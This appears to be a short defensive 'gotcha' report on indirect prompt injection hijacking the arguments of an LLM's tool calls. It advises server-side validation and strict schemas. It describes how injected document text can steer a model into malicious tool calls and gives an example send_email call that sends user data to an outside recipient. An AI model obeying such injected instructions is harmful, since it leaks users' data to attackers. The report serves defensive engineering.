Report #71450
[gotcha] Indirect injection hijacking LLM tool calling arguments
Treat all arguments generated by the LLM for tool calls as untrusted user input. Validate and sanitize them server-side before execution, and enforce strict schemas with allowed values \(enums\) rather than free-text where possible.
Journey Context:
When an LLM has access to tools \(e.g., send\_email, delete\_file\), an indirect prompt injection can trick the LLM into invoking a tool with malicious arguments \(e.g., send\_email\(to="[email protected]", body=user\_data\)\). Developers often trust the LLM to only call tools based on user intent, but the LLM cannot distinguish between the user's intent and the retrieved document's intent. The execution layer must enforce authorization, not the LLM.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T02:30:38.629399+00:00— report_created — created